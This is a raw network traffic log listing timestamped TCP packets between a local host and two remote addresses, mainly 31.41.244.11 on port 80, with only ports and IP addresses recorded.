Nov 24, 2024 10:24:16.389247894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.390182972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.390223026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.390285969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.390324116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.391325951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.391366005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.391437054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.391474009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.392447948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.392484903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.392564058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.392600060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.393600941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.393640995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.393707991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.393739939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.394728899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.394792080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.394823074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.394860983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.395934105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.395975113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.396035910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.396071911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.396989107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.397027016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.397070885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.397106886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.398106098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.398145914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.398163080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.398199081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.399229050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.399271011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.399296045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.399336100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.400440931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.400484085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.400556087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.400597095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.401561975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.401612043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.401724100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.401762962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.402662039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.402717113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.402838945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.402893066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.403804064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.403868914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.403902054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.403944969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.405057907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.405069113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.405108929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.406035900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.406086922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.406110048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.406152964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.407166958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.407216072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.407275915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.407320976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.408314943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.408364058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.408421040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.408462048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.409466028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.409507036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.409590960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.409629107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.410584927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.410626888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.410689116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.410725117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.411760092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.411808968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.411870003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.411910057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.413053036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.413103104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.554970026 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.558204889 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.558254004 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.558264017 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.558290958 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.558327913 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.558567047 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.558585882 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.558599949 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.558607101 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.562153101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.562206030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.562283993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.562328100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.562659025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.562705040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.562725067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.562761068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.563216925 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.563241959 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.563323975 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.563738108 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.563752890 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.563760996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.563774109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.563827991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.563827991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.564749002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.564795017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.564908028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.564960003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.565871954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.565922976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.565958977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.566004992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.567019939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.567068100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.567137957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.567178011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.568207026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.568286896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.568315029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.568353891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.569277048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.569323063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.569375038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.569746971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.570416927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.570478916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.570504904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.570549965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.571530104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.571588993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.571615934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.571655989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.572643995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.572691917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.572736025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.572781086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.573827028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.573874950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.573903084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.573945045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.574925900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.574970961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.575035095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.575079918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.576050043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.576101065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.576145887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.576190948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.577392101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.577439070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.577471018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.577542067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.578375101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.578428030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.578459024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.578502893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.579433918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.579477072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.579555988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.579597950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.580615044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.580661058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.580807924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.580852985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.581737995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.581783056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.581849098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.581895113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.582849026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.582897902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.582974911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.583019018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.584036112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.584080935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.584244967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.584289074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.585099936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.585155964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.585195065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.585237980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.586246967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.586293936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.586365938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.586409092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.587389946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.587444067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.587482929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.587523937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.588527918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.588598013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.588682890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.588731050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.589632988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.589687109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.589742899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.589790106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.591142893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.591198921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.591242075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.591279984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.592056990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.592112064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.592139006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.592190981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.593054056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.593105078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.593163013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.593206882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.594155073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.594211102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.594254971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.594296932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.595295906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.595347881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.595417976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.595462084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.596525908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.596569061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.596683025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.596726894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.597774982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.597822905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.597893953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.597944021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.598701954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.598773956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.598804951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.598855019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.599858999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.599903107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.599953890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.599998951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.601047993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.601064920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.601089954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.601109028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.602082968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.602128983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.602160931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.602216959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.603333950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.603389978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.603423119 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.603466034 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.604438066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.604470968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.604482889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.604516029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.605513096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.605561972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.605761051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.605809927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.606652975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.606700897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.606744051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.606786966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.607788086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.607831001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.607870102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.607927084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.608896017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.608959913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.608979940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.609016895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.610018015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.610069036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.610147953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.610188007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.611181974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.611227036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.611274004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.611330032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.612338066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.612385988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.612417936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.612462044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.613396883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.613446951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.613502026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.613544941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.614554882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.614598989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.614618063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.614664078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.615669012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.615716934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.615817070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.615863085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.616808891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.616858006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.616923094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.616964102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.617985010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.618031025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.618185997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.618231058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.619072914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.619157076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.619180918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.619220018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.620209932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.620255947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.620286942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.620332003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.621398926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.621444941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.763495922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.763535023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.763560057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.763582945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.763906956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.763950109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.764153957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.764206886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.764234066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.764273882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.765199900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.765239954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.765269041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.765312910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.766262054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.766309977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.766339064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.766383886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.767719984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.767771959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.767798901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.767844915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.768892050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.768933058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.768942118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.768981934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.769813061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.769876003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.769901991 CET	80	49813	31.41.244.11	192.168.2.5
